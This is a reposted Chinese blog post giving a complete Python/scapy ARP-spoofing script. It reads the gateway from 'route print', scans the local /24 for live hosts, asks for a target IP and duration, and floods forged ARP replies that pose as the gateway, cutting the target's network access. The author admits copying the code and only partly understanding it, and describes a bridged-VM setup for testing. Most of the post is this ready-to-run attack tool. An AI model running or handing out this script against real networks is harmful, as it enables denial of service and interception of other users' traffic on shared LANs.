本文共 1855 字,大约阅读时间需要 6 分钟。
Python来实现
1.获得当前ip及网关–>route print
2.封装arp数据包,以太网的包结构形式来发起ping,得到存活主机列表
3.得到存活主机列表
4.选择需要攻击或阻网的ip
5.设置攻击时长
6.arp攻击(封包、发包)
直接上代码吧,感觉没什么好说的。
这里代码是参考了好多个博客总结了一下代码。但是不太清楚原理,又但是可以实现网络阻断的功能
不行,还不能现在就上代码,还得说明一下虚拟机的网络配置模式。
这里需要用到桥接模式,直接改过来就好了。
菜鸡一开始不太会修改网络模式,结果改成桥接ping不通了,,真tm气人啊,搞了一中午,(我的午觉没有了)
也不知道怎么弄得,虚拟机防火墙给阻了,所以从物理机ping不通虚拟机,,,
6.28更新:好像知道怎么个原理了,是在本机发送数据报给pdst,告诉它自己就是psrc(网关),这样一直发,把原本正常的arp缓存给顶出去,所以自己成了目标靶机的网关了。
虚拟机桥接前后扫描到的局域网ip
废话说完了,代码贴上来
import osimport timefrom scapy.all import *def scanSpoof(): netCard = 'xxxxx # 攻击的网卡,我这里是用的无线的网卡 cmdCode = 'route print' # 查看路由情况的cmd命令 # 执行cmd命令,获得当前主机的ip和网关 for line in os.popen(cmdCode): # 通过line获得ip和网关 s = line.strip() # print(s) if s.startswith('0.0.0.0'): ipList = s.split() gw = ipList[2] # 网关 ip = ipList[3] # 当前ip # print('ip: ' + ip) # print('gw: ' + gw) break print("使用的网卡是: %s" % netCard) print("本机上网ip是: %s" % ip) print("上网网关是: %s" % gw) # 封装一个arp数据包,符合以太网的包定义 arpPk = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=gw+"/24") # Ether用于构造数据包 # srp 函数用于发送和接受第二层的数据包(Ethernet等) ansip, unansip = srp(arpPk, iface=netCard, timeout=2, verbose=0) print("扫描到%s台在线主机" % len(ansip)) print("扫描到%s台不在线主机" % len(unansip)) resIp = [] for s, r in ansip: resIp.append([r.psrc, r.hwsrc]) # ip, mac resIp.sort(); # 去重+排序 for ip, mac in resIp: print("%s--->%s" % (ip, mac)) # 代理/抓包 # 阻断网络 targetIp = input("输入需要攻击的ip:") targetTime = int(input("输入需要攻击的时间(秒):")) # 实现arp攻击 for i in range(targetTime*10): # 不太清楚这里为什么可以实现阻断网络的效果 sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=targetIp, psrc=gw), verbose=0) time.sleep(0.1) print("对%s的arp攻击完成" % targetIp)if __name__ == '__main__': scanSpoof()
好吧,我承认了,这是抄的铁三的代码
转载地址:http://rznh.baihongyu.com/